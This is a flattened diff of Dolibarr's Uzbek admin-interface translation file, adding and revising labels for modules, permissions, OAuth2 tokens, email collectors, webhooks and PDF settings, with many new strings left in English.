Module3200Name=O'zgarmas arxivlar Module3200Desc=O'zgarmas ishbilarmonlik voqealari jurnalini yoqing. Voqealar real vaqtda arxivlanadi. Jurnal eksport qilinishi mumkin bo'lgan zanjirli voqealar uchun faqat o'qish uchun mo'ljallangan jadvaldir. Ushbu modul ba'zi mamlakatlar uchun majburiy bo'lishi mumkin. +Module3300Name=Module Builder +Module3300Desc=A RAD (Rapid Application Development - low-code and no-code) tool to help developers or advanced users to build their own module/application. Module3400Name=Ijtimoiy tarmoqlar Module3400Desc=Ijtimoiy tarmoqlarni uchinchi shaxslarga va manzillarga (skype, twitter, facebook, ...) qo'shish. Module4000Name=HRM @@ -698,7 +705,10 @@ Module62000Name=Inkoermalar Module62000Desc=Incoterms-ni boshqarish uchun funktsiyalarni qo'shing Module63000Name=Resurslar Module63000Desc=Tadbirlarga ajratish uchun resurslarni (printerlar, mashinalar, xonalar, ...) boshqaring -Permission11=Mijozlarning hisob-fakturalarini o'qing +Module66000Name=Enable OAuth2 authentication +Module66000Desc=Provide a tool to generate and manage OAuth2 tokens. The token can then be used by some other modules. +Module94160Name=Receptions +Permission11=Read customer invoices (and payments) Permission12=Mijozlarning hisob-kitoblarini yaratish / o'zgartirish Permission13=Mijozlarning hisob-kitoblarini bekor qilish Permission14=Xaridorlarning hisob-fakturalarini tasdiqlang @@ -714,6 +724,7 @@ Permission27=Tijorat takliflarini o'chirib tashlang Permission28=Tijorat takliflarini eksport qiling Permission31=Mahsulotlarni o'qing Permission32=Mahsulotlarni yaratish / o'zgartirish +Permission33=Read prices products Permission34=Mahsulotlarni o'chirish Permission36=Yashirin mahsulotlarni ko'ring / boshqaring Permission38=Mahsulotlarni eksport qilish @@ -739,6 +750,7 @@ Permission79=Obunalarni yaratish / o'zgartirish Permission81=Mijozlarning buyurtmalarini o'qing Permission82=Mijozlarning buyurtmalarini yaratish / o'zgartirish Permission84=Mijozlarning buyurtmalarini tasdiqlash +Permission85=Generate the documents sales orders Permission86=Mijozlarga buyurtmalar yuboring Permission87=Mijozlarning buyurtmalarini yopish Permission88=Mijozlarning buyurtmalarini bekor qilish @@ -840,9 +852,9 @@ Permission286=Kontaktlarni eksport qilish Permission291=Tariflarni o'qing Permission292=Tariflar bo'yicha ruxsatnomalarni o'rnating Permission293=Mijozning tariflarini o'zgartiring -Permission300=Shtrixli kodlarni o'qing -Permission301=Shtrixli kodlarni yaratish / o'zgartirish -Permission302=Shtrixli kodlarni o'chirish +Permission301=Generate PDF sheets of barcodes +Permission304=Create/modify barcodes +Permission305=Delete barcodes Permission311=Xizmatlarni o'qing Permission312=Shartnomaga xizmat / obuna tayinlang Permission331=Xatcho'plarni o'qing @@ -874,6 +886,7 @@ Permission525=Kredit kalkulyatori Permission527=Eksport kreditlari Permission531=Xizmatlarni o'qing Permission532=Xizmatlarni yaratish / o'zgartirish +Permission533=Read prices services Permission534=Xizmatlarni o'chirish Permission536=Yashirin xizmatlarni ko'rish / boshqarish Permission538=Eksport xizmatlari @@ -937,7 +950,7 @@ Permission1190=Sotib olish buyurtmalarini tasdiqlash (ikkinchi tasdiqlash) Permission1191=Eksport etkazib beruvchilarning buyurtmalari va ularning atributlari Permission1201=Eksport natijasini oling Permission1202=Eksportni yaratish / o'zgartirish -Permission1231=Sotuvchi fakturalarini o'qing +Permission1231=Read vendor invoices (and payments) Permission1232=Sotuvchi hisob-fakturalarini yaratish / o'zgartirish Permission1233=Sotuvchi hisob-fakturalarini tasdiqlash Permission1234=Sotuvchi hisob-fakturalarini o'chirib tashlang @@ -968,13 +981,14 @@ Permission3301=Yangi modullarni yarating Permission4001=Ko'nikma / ish / lavozimni o'qing Permission4002=Ko'nikma / ish / pozitsiyani yaratish / o'zgartirish Permission4003=Malaka/ish/lavozimni oʻchirish -Permission4020=Baholarni o'qing -Permission4021=O'zingizning baholashingizni yarating/o'zgartiring -Permission4022=Baholashni tasdiqlash -Permission4023=Baholashni o'chirish -Permission4030=Taqqoslash menyusiga qarang +Permission4021=Read evaluations (yours and your subordinates) +Permission4022=Create/modify evaluations +Permission4023=Validate evaluation +Permission4025=Delete evaluation +Permission4028=See comparison menu Permission4031=Shaxsiy ma'lumotlarni o'qing Permission4032=Shaxsiy ma'lumotlarni yozing +Permission4033=Read all evaluations (even those of user not subordinates) Permission10001=Veb-sayt tarkibini o'qing Permission10002=Veb-sayt tarkibini yaratish / o'zgartirish (HTML va javascript tarkibi) Permission10003=Veb-sayt tarkibini yaratish / o'zgartirish (dinamik php-kod). Xavfli, cheklangan ishlab chiquvchilarga tegishli bo'lishi kerak. @@ -1078,6 +1092,10 @@ DictionaryAssetDisposalType=Aktivlarni yo'q qilish turi TypeOfUnit=Birlikning turi SetupSaved=O'rnatish saqlandi SetupNotSaved=Sozlash saqlanmadi +OAuthServiceConfirmDeleteTitle=Delete OAuth entry +OAuthServiceConfirmDeleteMessage=Are you sure you want to delete this OAuth entry ? All existing tokens for it will also be deleted. +ErrorInEntryDeletion=Error in entry deletion +EntryDeleted=Entry deleted BackToModuleList=Modullar ro'yxatiga qaytish BackToDictionaryList=Lug'atlar ro'yxatiga qaytish TypeOfRevenueStamp=Soliq markasining turi @@ -1219,7 +1237,7 @@ SetupDescription4= %s -> %s

      Ushbu dastur ko'plab mo SetupDescription5=Boshqa O'rnatish menyusi yozuvlari ixtiyoriy parametrlarni boshqaradi. SetupDescriptionLink= %s - %s SetupDescription3b=Ilovangizning odatiy xatti-harakatlarini sozlash uchun ishlatiladigan asosiy parametrlar (masalan, mamlakat bilan bog'liq xususiyatlar uchun). -SetupDescription4b=Ushbu dastur ko'plab modullar/ilovalar to'plamidir. Sizning ehtiyojlaringiz bilan bog'liq modullarni yoqish va sozlash kerak. Ushbu modullarni faollashtirish bilan menyu yozuvlari paydo bo'ladi. +SetupDescription4b=This software is a suite of many modules/applications. The modules related to your needs must be activated. Menu entries will appears with the activation of these modules. AuditedSecurityEvents=Tekshiriladigan xavfsizlik hodisalari NoSecurityEventsAreAduited=Hech qanday xavfsizlik hodisalari tekshirilmaydi. Siz ularni %s menyusidan faollashtirishingiz mumkin Audit=Xavfsizlik tadbirlari @@ -1235,11 +1253,13 @@ BrowserName=Brauzer nomi BrowserOS=Brauzer OS ListOfSecurityEvents=Dolibarr xavfsizlik tadbirlari ro'yxati SecurityEventsPurged=Xavfsizlik tadbirlari tozalandi +TrackableSecurityEvents=Trackable security events LogEventDesc=Muayyan xavfsizlik hodisalari uchun jurnalga yozishni yoqing. Administratorlar jurnalni %s - %s menyusi orqali qayd etishadi. Ogohlantirish, ushbu xususiyat ma'lumotlar bazasida katta hajmdagi ma'lumotlarni yaratishi mumkin. AreaForAdminOnly=O'rnatish parametrlarini faqat administrator foydalanuvchilari tomonidan o'rnatishi mumkin. SystemInfoDesc=Tizim ma'lumotlari faqat o'qish rejimida olinadigan va faqat administratorlar uchun ko'rinadigan turli xil texnik ma'lumotlardir. SystemAreaForAdminOnly=Ushbu maydon faqat administrator foydalanuvchilari uchun mavjud. Dolibarr foydalanuvchi ruxsatnomalari ushbu cheklovni o'zgartira olmaydi. CompanyFundationDesc=Kompaniyangiz / tashkilotingiz ma'lumotlarini tahrirlash. Ish tugagandan so'ng sahifaning pastki qismidagi "%s" tugmasini bosing. +MoreNetworksAvailableWithModule=More social networks may be available by enabling the module "Social networks". AccountantDesc=Agar sizda tashqi buxgalter / buxgalter bo'lsa, bu erda uning ma'lumotlarini tahrirlashingiz mumkin. AccountantFileNumber=Buxgalter kodi DisplayDesc=Ilovaning ko'rinishi va taqdimotiga ta'sir qiluvchi parametrlarni bu erda o'zgartirish mumkin. @@ -1257,6 +1277,7 @@ TriggerActiveAsModuleActive= %s moduli yoqilganligi sababli ushbu faylda GeneratedPasswordDesc=Avtomatik ravishda yaratilgan parollar uchun ishlatiladigan usulni tanlang. DictionaryDesc=Barcha mos yozuvlar ma'lumotlarini joylashtiring. Siz o'zingizning qadriyatlarni sukut bo'yicha qo'shishingiz mumkin. ConstDesc=Ushbu sahifa boshqa sahifalarda mavjud bo'lmagan parametrlarni tahrirlash (bekor qilish) imkonini beradi. Ular asosan ishlab chiquvchilar uchun ajratilgan parametrlardir / faqat rivojlangan muammolarni bartaraf etish. +MiscellaneousOptions=Miscellaneous options MiscellaneousDesc=Xavfsizlik bilan bog'liq barcha boshqa parametrlar bu erda aniqlangan. LimitsSetup=Cheklovlar / aniqlik sozlamalari LimitsDesc=Dolibarr tomonidan qo'llaniladigan limitlar, aniqliklar va optimallashtirishlarni bu erda belgilashingiz mumkin @@ -1290,6 +1311,8 @@ YouMustRunCommandFromCommandLineAfterLoginToUser= %s foydalanuvchisi bil YourPHPDoesNotHaveSSLSupport=Sizning PHP-da SSL funktsiyalari mavjud emas DownloadMoreSkins=Yuklab olish uchun ko'proq terilar SimpleNumRefModelDesc=%syymm-nnnn formatidagi mos yozuvlar raqamini qaytaradi, bu erda yy yil, mm oy va nnnn ketma-ket avtomatik ortib boruvchi raqam +SimpleRefNumRefModelDesc=Returns the reference number in the format n where n is a sequential auto-incrementing number with no reset +AdvancedNumRefModelDesc=Returns the reference number in the format %syymm-nnnn where yy is the year, mm is the month and nnnn is a sequential auto-incrementing number with no reset SimpleNumRefNoDateModelDesc=%s-nnnn formatidagi mos yozuvlar raqamini qaytaradi, bu erda nnnn qayta tiklanmagan ketma-ket avtomatik ko'paytiruvchi raqam ShowProfIdInAddress=Manzillari ko'rsatilgan professional identifikatorni ko'rsating ShowVATIntaInAddress=Hamjamiyat ichida QQS raqamini yashirish @@ -1376,7 +1399,7 @@ GetBarCode=Shtrixli kodni oling NumberingModules=Nomerlash modellari DocumentModules=Hujjat modellari ##### Module password generation -PasswordGenerationStandard=Ichki Dolibarr algoritmiga binoan yaratilgan parolni qaytaring: %s belgilarida umumiy raqamlar va kichik harflardagi belgilar mavjud. +PasswordGenerationStandard=Return a password generated according to internal Dolibarr algorithm: %s characters containing shared numbers and characters. PasswordGenerationNone=Yaratilgan parolni taklif qilmang. Parolni qo'lda kiritish kerak. PasswordGenerationPerso=Shaxsiy belgilangan konfiguratsiyaga muvofiq parolni qaytaring. SetupPerso=Sizning konfiguratsiyangizga muvofiq @@ -1430,6 +1453,10 @@ SuppliersPayment=Sotuvchi uchun to'lovlar SupplierPaymentSetup=Sotuvchi to'lovlarini sozlash InvoiceCheckPosteriorDate=Tasdiqlashdan oldin haqiqiy sanani tekshiring InvoiceCheckPosteriorDateHelp=Hisob-fakturaning sanasi xuddi shu turdagi oxirgi hisob-faktura sanasidan oldin bo'lsa, uni tasdiqlash taqiqlanadi. +InvoiceOptionCategoryOfOperations=Display the mention "category of operations" on the invoice. +InvoiceOptionCategoryOfOperationsHelp=Depending on the situation, the mention will appear in the form:
      - Category of operations: Delivery of goods
      - Category of operations: Provision of services
      - Category of operations: Mixed - Delivery of goods & provision of services +InvoiceOptionCategoryOfOperationsYes1=Yes, below the address block +InvoiceOptionCategoryOfOperationsYes2=Yes, in the lower left-hand corner ##### Proposals ##### PropalSetup=Tijorat takliflari modulini sozlash ProposalsNumberingModules=Tijorat takliflarini raqamlash modellari @@ -1472,11 +1499,12 @@ WatermarkOnDraftContractCards=Shartnoma loyihalari bo'yicha suv belgisi (agar bo ##### Members ##### MembersSetup=A'zolar modulini sozlash MemberMainOptions=Asosiy variantlar +MemberCodeChecker=Options for automatic generation of member codes AdherentLoginRequired= Har bir a'zo uchun tizimga kirishni boshqaring AdherentMailRequired=Yangi a'zo yaratish uchun elektron pochta kerak MemberSendInformationByMailByDefault=Odatiy ravishda a'zolarga pochta orqali tasdiqlash (tasdiqlash yoki yangi obuna) yuborish uchun tasdiqlash qutisi yoqilgan MemberCreateAnExternalUserForSubscriptionValidated=Tasdiqlangan har bir yangi a'zo obuna uchun tashqi foydalanuvchi loginini yarating -VisitorCanChooseItsPaymentMode=Mehmon mavjud to'lov usullarini tanlashi mumkin +VisitorCanChooseItsPaymentMode=Visitor can choose from any available payment modes MEMBER_REMINDER_EMAIL=Muddati o'tgan obunalarni
      elektron pochta orqali avtomatik eslatib turishni yoqing. Eslatma: %s moduli yoqilgan va eslatmalarni yuborish uchun to'g'ri sozlangan bo'lishi kerak. MembersDocModules=Ro'yxatdan yozuvlaridan hosil bo'lgan hujjatlar uchun hujjat shablonlari ##### LDAP setup ##### @@ -1738,8 +1766,8 @@ ActivateFCKeditor=Kengaytirilgan tahrirlovchini faollashtirish: FCKeditorForNotePublic=WYSIWIG elementlarning "ommaviy eslatmalar" maydonini yaratish/nashr qilish FCKeditorForNotePrivate=WYSIWIG elementlarning "shaxsiy qaydlari" maydonini yaratish/nashr qilish FCKeditorForCompany=WYSIWIG elementlarining tavsifini yaratish/nashr qilish (mahsulotlar/xizmatlardan tashqari) -FCKeditorForProduct=WYSIWIG yaratish/mahsulotlar/xizmatlar tavsifi nashrlari -FCKeditorForProductDetails=WYSIWIG mahsulotlarini yaratish / nashr qilish barcha sub'ektlar uchun tafsilotlar liniyalari (takliflar, buyurtmalar, hisob-fakturalar va boshqalar ...). Ogohlantirish: ushbu holat uchun ushbu parametrdan foydalanish jiddiy tavsiya etilmaydi, chunki u PDF-fayllarni yaratishda maxsus belgilar va sahifalarni formatlash bilan bog'liq muammolarni keltirib chiqarishi mumkin. +FCKeditorForProductDetails=WYSIWIG creation/edition of products description or lines for objects (lines of proposals, orders, invoices, etc...). +FCKeditorForProductDetails2=Warning: Using this option for this case is seriously not recommended as it can create problems with special characters and page formatting when building PDF files. FCKeditorForMailing= Ommaviy elektron pochta xabarlari uchun WYSIWIG yaratish / nashr (Asboblar -> Elektron pochta) FCKeditorForUserSignature=WYSIWIG yaratish / foydalanuvchi imzosini nashr etish FCKeditorForMail=Barcha pochta uchun WYSIWIG yaratish / nashr (Asboblar -> elektron pochtadan tashqari) @@ -1762,7 +1790,7 @@ DetailMenuHandler=Yangi menyu ko'rsatiladigan menyu boshqaruvchisi DetailMenuModule=Agar menyuga kirish moduldan keladigan bo'lsa, modul nomi DetailType=Menyu turi (yuqori yoki chap) DetailTitre=Tarjima qilish uchun menyu yorlig'i yoki yorliq kodi -DetailUrl=Sizga menyu yuboradigan URL (Mutlaq URL havolasi yoki http: // bilan tashqi havola) +DetailUrl=URL where menu send you (Relative URL link or external link with https://) DetailEnabled=Kirish yoki ko'rsatmaslik sharti DetailRight=Ruxsatsiz kulrang menyularni ko'rsatish sharti DetailLangs=Yorliq kodini tarjima qilish uchun lang fayl nomi @@ -1806,6 +1834,9 @@ AGENDA_USE_EVENT_TYPE=Voqealar turlaridan foydalaning (O'rnatish menyusi -> Lug' AGENDA_USE_EVENT_TYPE_DEFAULT=Voqeani yaratish shaklida voqea turi uchun ushbu standart qiymatni avtomatik ravishda sozlash AGENDA_DEFAULT_FILTER_TYPE=Ushbu turdagi tadbirlarni kun tartibi ko'rinishidagi qidiruv filtrida avtomatik ravishda o'rnating AGENDA_DEFAULT_FILTER_STATUS=Ushbu holatni kun tartibi ko'rinishidagi qidiruv filtridagi voqealar uchun avtomatik ravishda o'rnating +AGENDA_EVENT_PAST_COLOR=Past event color +AGENDA_EVENT_CURRENT_COLOR=Current event color +AGENDA_EVENT_FUTURE_COLOR=Future event color AGENDA_DEFAULT_VIEW=Kun tartibi menyusini tanlashda qaysi ko'rinishni sukut bo'yicha ochishni xohlaysiz AGENDA_REMINDER_BROWSER= foydalanuvchi brauzerida voqea eslatmasini yoqish AGENDA_REMINDER_BROWSER_SOUND=Ovozli bildirishnomani yoqish @@ -1833,7 +1864,7 @@ StockDecreaseForPointOfSaleDisabledbyBatch=POS-da aktsiyalarning pasayishi Seria CashDeskYouDidNotDisableStockDecease=Sale of Sale-dan savdo-sotiqni amalga oshirayotganda siz aktsiyalarning pasayishini o'chirib qo'ymadingiz. Shuning uchun ombor kerak. CashDeskForceDecreaseStockLabel=Partiya mahsulotlari uchun zaxiralarni pasaytirish majbur bo'ldi. CashDeskForceDecreaseStockDesc=Avvaliga eng qadimgi ovqatlanish va sotish sanalari bo'yicha kamaytiring. -CashDeskReaderKeyCodeForEnter=Shtrixli o'quvchida aniqlangan "Enter" uchun kalit kod (Misol: 13) +CashDeskReaderKeyCodeForEnter=Key ASCII code for "Enter" defined in barcode reader (Example: 13) ##### Bookmark ##### BookmarkSetup=Xatcho'plar modulini sozlash BookmarkDesc=Ushbu modul sizga xatcho'plarni boshqarish imkonini beradi. Shuningdek, chap menyuda joylashgan har qanday Dolibarr sahifalariga yoki tashqi veb-saytlarga yorliq qo'shishingiz mumkin. @@ -1871,7 +1902,7 @@ SuppliersInvoiceNumberingModel=Sotuvchi fakturalarni raqamlash modellari IfSetToYesDontForgetPermission=Agar nol qiymatga o'rnatilgan bo'lsa, ikkinchi tasdiqlash uchun ruxsat berilgan guruhlarga yoki foydalanuvchilarga ruxsat berishni unutmang ##### GeoIPMaxmind ##### GeoIPMaxmindSetup=GeoIP Maxmind modulini sozlash -PathToGeoIPMaxmindCountryDataFile=Maxmind ipni mamlakat tarjimasiga o'z ichiga olgan faylga yo'l.
      Misollar:
      /usr/local/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoIP.dat
      /usr/share/Gare-Cite/Gare/Bare/Gare/Bare +PathToGeoIPMaxmindCountryDataFile=Path to file containing Maxmind ip to country translation NoteOnPathLocation=Sizning mamlakatingizga ip ma'lumotlari sizning PHP o'qishi mumkin bo'lgan katalog ichida bo'lishi kerakligini unutmang (PHP open_basedir sozlamalarini va fayl tizimining ruxsatlarini tekshiring). YouCanDownloadFreeDatFileTo=Maxmind GeoIP mamlakat faylining bepul demo versiyasini %s manzilidan yuklab olishingiz mumkin. YouCanDownloadAdvancedDatFileTo=Bundan tashqari, %s manzilidan Maxmind GeoIP mamlakat faylining
      yangilangan to'liq versiyasini yuklab olishingiz mumkin. @@ -1922,6 +1953,7 @@ BackupDumpWizard=Ma'lumotlar bazasi dump faylini yaratish ustasi BackupZipWizard=Hujjatlar katalogini yaratish uchun sehrgar SomethingMakeInstallFromWebNotPossible=Tashqi modulni o'rnatish quyidagi sabablarga ko'ra veb-interfeysdan mumkin emas: SomethingMakeInstallFromWebNotPossible2=Shu sababli, bu erda tavsiflangan yangilash jarayoni faqat imtiyozli foydalanuvchi amalga oshirishi mumkin bo'lgan qo'lda bajariladigan jarayondir. +InstallModuleFromWebHasBeenDisabledContactUs=Install or development of external modules or dynamic websites, from the application, is currently locked for security purpose. Please contact us if you need to enable this feature. InstallModuleFromWebHasBeenDisabledByFile=Ilovadan tashqi modulni o'rnatishni administratoringiz o'chirib qo'ydi. Ushbu funktsiyaga ruxsat berish uchun siz undan %s faylini olib tashlashini so'rashingiz kerak. ConfFileMustContainCustom=Tashqi modulni dasturdan o'rnatish yoki yaratish uchun modul fayllarini %s katalogiga saqlash kerak. Ushbu katalogni Dolibarr tomonidan qayta ishlash uchun siz ikkita direktiv qatorini qo'shish uchun conf / conf.php -ni o'rnatishingiz kerak:
      $ dolibarr_main_url_root_;
      $ dolibarr_main_document_root_alt = '%s / custom'; HighlightLinesOnMouseHover=Sichqoncha harakati o'tib ketganda jadval satrlarini ajratib ko'rsatish @@ -1977,6 +2009,7 @@ MailToSendSupplierOrder=Sotib olish uchun buyurtmalar MailToSendSupplierInvoice=Sotuvchi hisob-fakturalari MailToSendContract=Shartnomalar MailToSendReception=Qabullar +MailToExpenseReport=Expense reports MailToThirdparty=Uchinchi shaxslar MailToMember=A'zolar MailToUser=Foydalanuvchilar @@ -2030,6 +2063,7 @@ MAIN_PDF_MARGIN_RIGHT=PDF-dagi o'ng chekka MAIN_PDF_MARGIN_TOP=PDF-dagi eng yaxshi margin MAIN_PDF_MARGIN_BOTTOM=PDF-dagi pastki hoshiya MAIN_DOCUMENTS_LOGO_HEIGHT=PDF-dagi logotip uchun balandlik +DOC_SHOW_FIRST_SALES_REP=Show first sales representative MAIN_GENERATE_PROPOSALS_WITH_PICTURE=Taklif satrlarida rasm uchun ustun qo'shing MAIN_DOCUMENTS_WITH_PICTURE_WIDTH=Chiziqlarga rasm qo'shilsa, ustunning kengligi MAIN_PDF_NO_SENDER_FRAME=Yuboruvchining manzil ramkasidagi chegaralarni yashirish @@ -2047,6 +2081,8 @@ RemoveSpecialChars=Maxsus belgilarni olib tashlang COMPANY_AQUARIUM_CLEAN_REGEX=Regex filtri toza qiymatga (COMPANY_AQUARIUM_CLEAN_REGEX) COMPANY_DIGITARIA_CLEAN_REGEX=Regex filtri toza qiymatga (COMPANY_DIGITARIA_CLEAN_REGEX) COMPANY_DIGITARIA_UNIQUE_CODE=Uni nusxalashga ruxsat berilmagan +RemoveSpecialWords=Clean certain words when generating sub-accounts for customers or suppliers +RemoveSpecialWordsHelp=Specify the words to be cleaned before calculating the customer or supplier account. Use a ";" between each word GDPRContact=Ma'lumotlarni himoya qilish bo'yicha mutaxassis (DPO, ma'lumotlarning maxfiyligi yoki GDPR aloqasi) GDPRContactDesc=If you store personal data in your Information System, you can name the contact who is responsible for the General Data Protection Regulation here HelpOnTooltip=Matnni ko'rsatmalar panelida ko'rsatish uchun yordam bering @@ -2063,11 +2099,18 @@ EmailCollectors=Email collectors EmailCollectorDescription=Muntazam ravishda elektron pochta qutilarini (IMAP protokoli yordamida) skanerlash va arizangizga kelgan elektron pochta xabarlarini kerakli joyda yozib olish va / yoki ba'zi yozuvlarni avtomatik ravishda yaratish (masalan, qo'rg'oshinlar) uchun rejalashtirilgan ishni va sozlash sahifasini qo'shing. NewEmailCollector=Yangi elektron pochta yig'uvchisi EMailHost=IMAP-server elektron pochta manzili +EMailHostPort=Port of email IMAP server +loginPassword=Login/Password +oauthToken=Oauth2 token +accessType=Acces type +oauthService=Oauth service +TokenMustHaveBeenCreated=Module OAuth2 must be enabled and an oauth2 token must have been created with the correct permissions (for example scope "gmail_full" with OAuth for Gmail). MailboxSourceDirectory=Pochta qutisi manbalari katalogi MailboxTargetDirectory=Pochta qutisi maqsad katalogi EmailcollectorOperations=Kollektor tomonidan bajariladigan operatsiyalar EmailcollectorOperationsDesc=Amallar yuqoridan pastgacha tartibda bajariladi MaxEmailCollectPerCollect=Har bir to'plam uchun to'plangan elektron pochta xabarlarining maksimal soni +TestCollectNow=Test collect CollectNow=Hozir yig'ing ConfirmCloneEmailCollector=Haqiqatan ham %s elektron pochta kollektorini klonlashni xohlaysizmi? DateLastCollectResult=So'nggi marta sinab ko'ring @@ -2097,6 +2140,7 @@ CodeLastResult=Oxirgi natija kodi NbOfEmailsInInbox=Manba katalogidagi elektron pochta xabarlari soni LoadThirdPartyFromName=%s-da qidiruvni uchinchi tomonga yuklang (faqat yuklash uchun) LoadThirdPartyFromNameOrCreate=%s-da qidiruvni uchinchi tomonga yuklash (agar topilmasa yaratish) +LoadContactFromEmailOrCreate=Load contact searching on %s (create if not found) AttachJoinedDocumentsToObject=Agar elektron pochta mavzusida ob'ektning refi topilsa, biriktirilgan fayllarni ob'ekt hujjatlariga saqlang. WithDolTrackingID=Dolibarr-dan yuborilgan birinchi elektron pochta orqali boshlangan suhbatdan xabar WithoutDolTrackingID=Dolibarr-dan birinchi elektron pochta orqali yuborilgan suhbatdan xabar @@ -2106,7 +2150,7 @@ CreateCandidature=Ishga ariza yarating FormatZip=Zip MainMenuCode=Menyu kirish kodi (asosiy menyu) ECMAutoTree=Avtomatik ECM daraxtini ko'rsating -OperationParamDesc=Define the rules to use to extract or set values.
      Example for operations that need to extract a name from email subject:
      name=EXTRACT:SUBJECT:Message from company ([^\n]*)
      Example for operations that create objects:
      objproperty1=SET:the value to set
      objproperty2=SET:a value including value of __objproperty1__
      objproperty3=SETIFEMPTY:value used if objproperty3 is not already defined
      objproperty4=EXTRACT:HEADER:X-Myheaderkey:\\s*([^\\s]*)
      options_myextrafield1=EXTRACT:SUBJECT:([^\n]*)
      object.objproperty5=EXTRACT:BODY:My company name is\\s([^\\s]*)

      Use a ; char as separator to extract or set several properties. +OperationParamDesc=Define the rules to use to extract some data or set values to use for operation.

      Example to extract a company name from email subject into a temporary variable:
      tmp_var=EXTRACT:SUBJECT:Message from company ([^\n]*)

      Examples to set the properties of an object to create:
      objproperty1=SET:a hard coded value
      objproperty2=SET:__tmp_var__
      objproperty3=SETIFEMPTY:a value (value is set only if property is not already defined)
      objproperty4=EXTRACT:HEADER:X-Myheaderkey:\\s*([^\\s]*)
      options_myextrafield1=EXTRACT:SUBJECT:([^\n]*)
      object.objproperty5=EXTRACT:BODY:My company name is\\s([^\\s]*)

      Use a ; char as separator to extract or set several properties. OpeningHours=Ish vaqti OpeningHoursDesc=Bu erga kompaniyangizning muntazam ish vaqtiga kiring. ResourceSetup=Resurs modulining konfiguratsiyasi @@ -2171,6 +2215,7 @@ ShowProjectLabel=Loyiha yorlig'i PDF_INCLUDE_ALIAS_IN_THIRDPARTY_NAME=Include alias in thirdparty name THIRDPARTY_ALIAS=Name thirdparty - Alias thirdparty ALIAS_THIRDPARTY=Alias thirdparty - Name thirdparty +PDFIn2Languages=Show labels into PDF in 2 different languages PDF_USE_ALSO_LANGUAGE_CODE=Agar siz o'zingizning PDF-dagi ba'zi matnlarni bir xil hosil qilingan PDF-da 2 xil tilda nusxalashni xohlasangiz, siz ushbu ikkinchi tilni o'rnatishingiz kerak, shuning uchun yaratilgan PDF bir xil sahifada 2 xil tilni o'z ichiga oladi, bu PDF yaratishda tanlangan va shu ( faqat bir nechta PDF shablonlari buni qo'llab-quvvatlaydi). PDF uchun 1 ta til uchun bo'sh qoldiring. PDF_USE_A=PDF hujjatlarini standart PDF formati o'rniga PDF/A formatida yarating FafaIconSocialNetworksDesc=Bu erga FontAwesome ikonkasining kodini kiriting. Agar siz FontAwesome nima ekanligini bilmasangiz, umumiy qiymatdan foydalanishingiz mumkin. @@ -2199,12 +2244,12 @@ MailToPartnership=Hamkorlik AGENDA_EVENT_DEFAULT_STATUS=Shakldan voqea yaratishda odatiy hodisa holati YouShouldDisablePHPFunctions=PHP funktsiyalarini o'chirib qo'yishingiz kerak IfCLINotRequiredYouShouldDisablePHPFunctions=Agar siz tizim buyruqlarini maxsus kodda ishlatishingiz kerak bo'lsa, siz PHP funktsiyalarini o'chirib qo'yasiz -PHPFunctionsRequiredForCLI=Qobiq maqsadi uchun (masalan, rejalashtirilgan ishni zaxiralash yoki anitivurs dasturini ishga tushirish), siz PHP funktsiyalarini saqlashingiz kerak +PHPFunctionsRequiredForCLI=For shell purpose (like scheduled job backup or running an antivirus program), you must keep PHP functions NoWritableFilesFoundIntoRootDir=Ildiz katalogingizda yoziladigan fayllar yoki umumiy dasturlarning kataloglari topilmadi (Yaxshi) RecommendedValueIs=Tavsiya etiladi: %s Recommended=Tavsiya etiladi NotRecommended=Tavsiya etilmaydi -ARestrictedPath=Ba'zi cheklangan yo'l +ARestrictedPath=Some restricted path for data files CheckForModuleUpdate=Tashqi modullarning yangilanishlarini tekshiring CheckForModuleUpdateHelp=Ushbu amal tashqi modullar tahrirlovchilariga yangi versiya mavjudligini tekshirish uchun ulanadi. ModuleUpdateAvailable=Yangilanish mavjud @@ -2212,6 +2257,7 @@ NoExternalModuleWithUpdate=Tashqi modullar uchun hech qanday yangilanish topilma SwaggerDescriptionFile=Swagger API tavsif fayli (masalan, redoc bilan ishlatish uchun) YouEnableDeprecatedWSAPIsUseRESTAPIsInstead=Siz bekor qilingan WS API-ni yoqdingiz. Buning o'rniga REST API-dan foydalanishingiz kerak. RandomlySelectedIfSeveral=Agar bir nechta rasm mavjud bo'lsa, tasodifiy tanlanadi +SalesRepresentativeInfo=For Proposals, Orders, Invoices. DatabasePasswordObfuscated=Ma'lumotlar bazasi paroli conf faylida buzilgan DatabasePasswordNotObfuscated=Ma'lumotlar bazasi paroli conf faylida buzilmaydi APIsAreNotEnabled=API modullari yoqilmagan @@ -2251,10 +2297,10 @@ LateWarningAfter=Keyin "kechik" ogohlantirish TemplateforBusinessCards=Turli o'lchamdagi biznes karta uchun shablon InventorySetup= Inventarizatsiyani sozlash ExportUseLowMemoryMode=Kam xotira rejimidan foydalaning -ExportUseLowMemoryModeHelp=Dumpni bajarish uchun past xotira rejimidan foydalaning (siqish PHP xotirasiga emas, balki quvur orqali amalga oshiriladi). Ushbu usul faylning to'ldirilganligini tekshirishga imkon bermaydi va agar u muvaffaqiyatsiz bo'lsa, xato xabari haqida xabar berib bo'lmaydi. +ExportUseLowMemoryModeHelp=Use the low memory mode to generate the dump file (compression is done through a pipe instead of into the PHP memory). This method does not allow to check that the file is complete and error message can't be reported if it fails. Use it if you experience not enough memory errors. ModuleWebhookName = Webhook -ModuleWebhookDesc = Interface to catch dolibarr triggers and send it to an URL +ModuleWebhookDesc = Interface to catch dolibarr triggers and send data of the event to an URL WebhookSetup = Webhook setup Settings = Settings WebhookSetupPage = Webhook setup page @@ -2275,7 +2321,58 @@ IconOnly=Icon only - Text on tooltip only INVOICE_ADD_ZATCA_QR_CODE=Show the ZATCA QR code on invoices INVOICE_ADD_ZATCA_QR_CODEMore=Some Arabic countries need this QR Code on their invoices INVOICE_ADD_SWISS_QR_CODE=Show the swiss QR-Bill code on invoices +INVOICE_SHOW_SHIPPING_ADDRESS=Show shipping address +INVOICE_SHOW_SHIPPING_ADDRESSMore=Compulsory mention for France UrlSocialNetworksDesc=Url link of social network. Use {socialid} for the variable part that contains the social network ID. IfThisCategoryIsChildOfAnother=If this category is a child of another one +DarkThemeMode=Dark theme mode +AlwaysDisabled=Always disabled +AccordingToBrowser=According to browser +AlwaysEnabled=Always Enabled +DoesNotWorkWithAllThemes=Will not work with all themes NoName=No name +ShowAdvancedOptions= Show advanced options +HideAdvancedoptions= Hide advanced options CIDLookupURL=The module brings an URL that can be used by an external tool to get the name of a thirdparty or contact from its phone number. URL to use is: 